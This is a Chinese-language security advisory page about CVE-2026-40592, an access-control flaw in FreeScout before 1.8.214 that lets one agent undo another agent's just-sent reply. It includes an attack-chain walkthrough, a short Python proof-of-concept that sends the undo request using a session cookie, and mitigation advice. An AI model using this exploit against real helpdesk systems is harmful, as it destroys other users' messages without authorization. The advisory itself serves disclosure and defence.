IPBUF安全漏洞报告
English
CVE-2026-40592 CVSS 5.9 中危

CVE-2026-40592 FreeScout访问控制缺陷致邮件撤回

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40592
漏洞类型
访问控制缺陷
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

访问控制权限绕过FreeScoutIDORWeb安全

漏洞概述

FreeScout是一款免费的自托管帮助台和共享邮箱软件。在1.8.214版本之前,系统存在一个关键的安全漏洞。具体来说,用于撤回发送的路由接口GET /conversation/undo-reply/{thread_id}仅检查当前用户是否拥有查看父级对话的权限,而未验证当前用户是否为被撤回回复的创建者。在共享邮箱的使用场景下,这意味着一个代理可以在15秒的撤回时间窗口内,撤回另一个代理刚刚发送的回复。该漏洞破坏了信息的完整性和可用性,可能导致业务沟通中断或数据丢失。

技术细节

该漏洞的核心在于FreeScout后端对“撤回回复”操作的权限校验逻辑不严谨。受影响版本的代码在处理GET /conversation/undo-reply/{thread_id}请求时,仅调用了检查对话访问权限的方法,确保请求者属于该对话的参与者或拥有查看权限。然而,代码缺失了对回复(reply)记录所有者的校验步骤,即未比对user_id与reply.created_by_id。攻击者利用此漏洞需要满足两个条件:一是拥有目标FreeScout系统的合法代理账号(低权限即可),二是能够访问目标对话。当受害者代理发送邮件后的15秒内,攻击者只需捕获或猜测thread_id,并发送精心构造的HTTP GET请求,即可触发撤回逻辑。由于缺乏所有权验证,服务器会执行删除或标记撤回操作,导致受害者的邮件被非授权移除。

攻击链分析

STEP 1
信息收集
攻击者确认目标使用的是FreeScout系统,并获取一个低权限代理账号。
STEP 2
权限获取
攻击者登录系统,寻找与受害者共享的对话或邮件线程,确认具备查看权限。
STEP 3
等待时机
攻击者监控对话或等待受害者代理发送回复邮件。
STEP 4
实施攻击
在受害者发送邮件后的15秒窗口期内,攻击者使用thread_id向/conversation/undo-reply/{thread_id}发送GET请求。
STEP 5
达成影响
系统因权限校验缺失执行撤回操作,受害者的邮件被删除或撤回,造成信息完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-40592 # Description: Exploits the improper access control in FreeScout to undo another agent's reply. # Requirements: Valid session cookie of an agent with 'view' permission on the conversation. import requests def exploit_undo_reply(target_host, thread_id, session_cookie): """ Attempts to undo a reply by sending a GET request to the vulnerable endpoint. """ url = f"{target_host}/conversation/undo-reply/{thread_id}" headers = { "Cookie": f"freescout_session={session_cookie}", "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } try: print(f"[*] Sending request to {url}...") response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if the reply was recalled.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "http://example-freescout.com" THREAD_ID = "12345" # Replace with a valid thread_id COOKIE = "attacker_session_token_value_here" exploit_undo_reply(TARGET, THREAD_ID, COOKIE)

影响范围

FreeScout < 1.8.214

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用“撤回发送”功能或通过修改服务器配置(如Nginx反向代理规则)拦截对/conversation/undo-reply/路径的直接访问,仅允许受信任的管理员IP访问。同时,应加强对内部代理行为的审计,留意是否存在非本人操作的邮件撤回日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表